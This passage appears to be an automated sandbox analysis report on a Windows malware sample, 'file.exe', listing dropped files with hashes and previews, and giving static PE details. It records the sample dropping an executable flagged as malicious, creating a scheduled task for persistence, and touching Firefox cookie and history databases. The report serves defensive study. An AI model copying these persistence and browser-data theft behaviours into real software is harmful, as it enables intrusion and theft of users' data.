"UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7684_278455595\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7684_278455595\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7684_278455595\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsAEBGHDBKEB.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1893376
Entropy (8bit):	7.949618236707806
Encrypted:	false
SSDEEP:	49152:YnKbQQ4tvTNUlSLM0Ikk0FXbPc5JxxMZwsS/:LbNKLSl3kkULk5JxxMZws
MD5:	833012C3FEA2D5FE7974D1CBBA4FC697
SHA1:	1633E040BDF2FEA553B1FA782B152081C86F403C
SHA-256:	C71570B0770028AD3E31C790390AB3ED7CB582B561CB5A775EA1BB541EB6967E
SHA-512:	E05C555409607CE7046C0994619879D8AA1EEBACA61B8F0AA9A78AC342601D3B8F7C52665AFC59356138118D0C715FFB6D01D86E7CF9737F9D5B6070CB0EFE96
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@.......................... K...........@.................................W...k.......H...................$.J...............................J..................................................... . ............................@....rsrc...H...........................@....idata ............................@... .`*.........................@...durrfrps......1.....................@...porwkuev......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsAEBGHDBKEB.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.4349343446890828
Encrypted:	false
SSDEEP:	6:BZgG9QtXUhXUEZ+lX1CGdKUe6tE9+AQy0lBzla0ut0:BZgEQZ4Q1CGAFD9+nVBz80ut0
MD5:	9C106F4A91A89B02B44AFA3134C053C6
SHA1:	9D44B2D6020EBC5DC84A542D3425E9650FE0145D
SHA-256:	237180C90258D34BEA9762D258FF60E7F6CE9A0FCB340B211710FA0C684D09FD
SHA-512:	8AB89D847571246564222ADCB9FDC3AB9B26C81B9225CCB153D717E1E601628008EBE4EAF55773EC84DC331F89AA9F4A1BE1DA9213ECB3FA49857AD97F4B3068
Malicious:	false
Preview:	.....s...bC.....&_.F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

Chrome Cache Entry: 450

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (792)
Category:	downloaded
Size (bytes):	797
Entropy (8bit):	5.15828527555595
Encrypted:	false
SSDEEP:	24:IaX44cvrfIfc7FBHslgT9lCuABuk7HHHHHHHYqmffffffo:Ic5erDFKlgZ01BukEqmffffffo
MD5:	EAD4EC0C5677AB90827B887C14513265
SHA1:	9AF8A12A7832CC082D00EE032EA3B7DB2073303E
SHA-256:	FE10FD168EB347B9B5645FB4C1DFDDE26FDACBA7B5DCAED2D0BED1C22AA1E736
SHA-512:	1C9B3D4C4FD9969C228B9E67590FA2169BF701592ECACCA96002265E75D9F6B78FF6A276B3C9CC70BD4E2D2E7E54BE2E8795448094238064CF845C6E005315AC
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["youtube gaming recap 2024","arcane season 2 act 3","atlanta hawks vs chicago bulls","james webb telescope","bold and beautiful spoilers november 25","jim bishop castle builder","walmart bakery items recall","space sprouts rewards monopoly go"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1251,1250,755,754,753,752,751,750],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 451

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 452

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 453

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132965
Entropy (8bit):	5.435443371654069
Encrypted:	false
SSDEEP:	3072:fMkXyPqO7UX1Hme9kZbs4Voc5qSnXqwQ2i6o:fnyWFHrp4Voc5qSnawQ8o
MD5:	F6AA6B3618198A45D89D571A22900AAE
SHA1:	ACBED40B5646198F1E1E137DC1DE8D87A1C8725B
SHA-256:	7894B54260947612ACCD6E9D6465E2A381609BF3BF044947947F1407B95DC7EE
SHA-512:	240570738641777626A23698906CC671C8A8EEFBD309117A6DDFD7FF5040A8E283B41E60F54D7F929BEC3DA3758FF5155C47AEBCA54B7DA7FBF2A9BAA58A6208
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 454

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 455

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.943557420566773
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'842'688 bytes
MD5:	95f3ca862e25c3f480a223ccccb012df
SHA1:	b7f990086951e53c2793bbb1c7de6132e8ac768d
SHA256:	7580f9bc9e52aac6601e68fc96ccde08e25bbea4be52f6070b56a3a786ffc60d
SHA512:	09908bde9d4ebf05c48cb0cbc54a90f723147aaafc4f17ba32dc24bba6f15107de0d558a2a943d094fc86634eef5af3edd11665dde073c57cfcf1ce3c116c70e
SSDEEP:	24576:EBgZCW33QJQe1YeHmdJdtH0qyq+jjsfihwBN47UV4CMl/D+jHcMEWrh3XqJrMy:EGCWHkQeGeGdztH0PjkyaZjHRhHqJ
TLSH:	1D85330E6E34CE65C81745BBB0D7D94DA761CF9D9C49CBD21DB248F2686A2C0CF82D91
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaa6000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F6EC08C254Ah
paddb mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx-6F63FFF9h], bl
lodsb
add byte ptr [eax], dh
xor byte ptr [esp+edi+58h], al
mov dh, 93h
cmp al, 07h
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	f20acbcc22d4716eab3b614c1f08d8f0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	77c1b249bdc9e62602e3f598310a759d	False	0.796875	data	6.029228844702019	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
